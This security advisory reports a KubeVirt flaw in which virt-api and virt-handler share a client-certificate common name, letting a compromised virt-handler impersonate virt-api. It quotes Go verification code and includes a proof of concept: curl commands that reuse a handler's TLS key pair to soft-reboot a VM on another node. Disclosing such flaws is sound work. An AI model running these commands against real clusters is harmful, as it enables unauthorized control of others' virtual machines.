Summary

Due to improper TLS certificate management, a compromised virt-handler could impersonate virt-api by using its own TLS credentials, allowing it to initiate privileged operations against another virt-handler.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Because of improper TLS certificate management, a compromised virt-handler instance can reuse its TLS bundle to impersonate virt-api, enabling unauthorized access to VM lifecycle operations on other virt-handler nodes. The virt-api component acts as a sub-resource server, and it proxies API VM lifecycle requests to virt-handler instances. The communication between virt-api and virt-handler instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by virt-api is defined in the source code as follows and have the following properties:

//pkg/virt-api/api.go

const (
    ...
    defaultCAConfigMapName     = "kubevirt-ca"
  ...
    defaultHandlerCertFilePath = "/etc/virt-handler/clientcertificates/tls.crt"
    defaultHandlerKeyFilePath  = "/etc/virt-handler/clientcertificates/tls.key"
)

# verify virt-api's certificate properties from the docker container in which it is deployed using Minikube
admin@minikube:~$ openssl x509 -text -in \ 
$(CID=$(docker ps --filter 'Name=virt-api' --format '{{.ID}}' | head -n 1) && \
docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | \
tr -d '"[:space:]')/tls.crt | \
grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 127940157512425330 (0x1c688e539091f72)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:client:virt-handler

The virt-handler component verifies the signature of client certificates using a self-signed root CA. This latter is generated by virt-operator when the KubeVirt stack is deployed and it is stored within a ConfigMap in the kubevirt namespace. This configmap is used as a trust anchor by all virt-handler instances to verify client certificates.

# inspect the self-signed root CA used to sign virt-api and virt-handler's certificates
admin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath='{.data.ca-bundle}' | openssl x509 -text | grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 319368675363923930 (0x46ea01e3f7427da)
Issuer: CN=kubevirt.io@1747579138
Subject: CN=kubevirt.io@1747579138

The kubevirt-ca is also used to sign the server certificate which is used by a virt-handler instance:

admin@minikube:~$ openssl x509 -text -in \ 
$(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && \
docker inspect $CID | grep "servercertificates:ro" | cut -d ":" -f1 | \
tr -d '"[:space:]')/tls.crt | \
grep -e "Subject:" -e "Issuer:" -e "Serial"

# the virt-handler's server ceriticate is issued by the same root CA
Serial Number: 7584450293644921758 (0x6941615ba1500b9e)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:node:virt-handler

In addition to the validity of the signature, the virt-handler component also verifies the CN field of the presented certificate:

<code.sec.SetupTLSForVirtHandlerServer>

//pkg/util/tls/tls.go

func SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config {
    // #nosec cause: InsecureSkipVerify: true
    // resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed
    
    //...
                // XXX: We need to verify the cert ourselves because we don't have DNS or IP on the certs at the moment
                VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
                    return verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, "client")
                },
                //...
}

func verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error {
  //...
    rawPeer, rawIntermediates := rawCerts[0], rawCerts[1:]
    c, err := x509.ParseCertificate(rawPeer)
    //...
    fullCommonName := fmt.Sprintf("kubevirt.io:system:%s:virt-handler", commonName)
    if !externallyManaged && c.Subject.CommonName != fullCommonName {
        return fmt.Errorf("common name is invalid, expected %s, but got %s", fullCommonName, c.Subject.CommonName)
    }
    //...

The above code illustrates that client certificates accepted be KubeVirt should have as CN kubevirt.io:system:client:virt-handler which is the same as the CN present in the virt-api's certificate. However, the latter is not the only component in the KubeVirt stack which can communicate with a virt-handler instance.

In addition to the extension API server, any other virt-handler can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the virt-handlers on both nodes are going to use structures called ProxyManager to communicate back and forth on the state of the migration.

//pkg/virt-handler/migration-proxy/migration-proxy.go

func NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager {
    return &migrationProxyManager{
        sourceProxies:   make(map[string][]*migrationProxy),
        targetProxies:   make(map[string][]*migrationProxy),
        serverTLSConfig: serverTLSConfig,
        clientTLSConfig: clientTLSConfig,
        config:          config,
    }
}

This communication follows a classical client-server model, where the virt-handler on the migration source node acts as a client and the virt-handler on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the virt-handler acting as a migration destination node is the same as the one which is used for the communication between the same virt-handler and the virt-api in the context of VM lifecycle operations (CN=kubevirt.io:system:node:virt-handler). However, the client certificate which is used by a virt-handler instance has the same CN as the client certificate used by virt-api.

admin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | tr -d '"[:space:]')/tls.crt | grep -e "Subject:" -e "Issuer:" -e "Serial"

Serial Number: 2951695854686290384 (0x28f687bdb791c1d0)
Issuer: CN = kubevirt.io@1747579138
Subject: CN = kubevirt.io:system:client:virt-handler

Although the migration procedure, where two separate virt-handler instances coordinate the transfer of a VM’s state, is not directly tied to the communication between virt-api and virt-handler during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both virt-handler and virt-api shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

To illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (minikube and minikube-m02) thus, with two virt-handler instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the virt-handler instance running on the compromised node (minikube) while the virtual machine is running on the other node (minikube-m02). Thus, they can interact with the sub-resource API exposed by the other virt-handler instance and control the lifecycle of the VMs running on the other node:

# the deployed VMI on the non-compromised node minikube-m02
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
  labels:
  kubevirt.io/size: small
  name: mishandling-common-name-in-certificate-handler
spec:
  domain:
    devices:
      disks:
      - name: containerdisk
        disk:
          bus: virtio

      - name: cloudinitdisk
        disk:
          bus: virtio
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - name: containerdisk
    containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo
  - name: cloudinitdisk      
    cloudInitNoCloud:
      userDataBase64: SGkuXG4=

# the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3
attacker@minikube:~$ curl -k https://10.244.1.3:8186/
curl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0
# get the certificate bundle directory and redo the request
attacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter 'Name=virt-handler' --format='{{.ID}}' | head -n 1) | grep "clientcertificates:ro" | cut -d ':' -f1 | tr -d '"[:space:]')

attacker@minikube:~$ curl -k  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/
404: Page Not Found

# soft reboot the VMI instance running on the other node
attacker@minikube:~$ curl -ki  --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key  https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot  -XPUT
HTTP/1.1 202 Accepted
# the VMI mishandling-common-name-in-certificate-handler has been rebooted

Impact

What kind of vulnerability is it? Who is impacted?

Due to the peer verification logic in virt-handler (via verifyPeerCert), an attacker who compromises a virt-handler instance, could exploit these shared credentials to impersonate virt-api and execute privileged operations against other virt-handler instances potentially compromising the integrity and availability of the managed by it VM.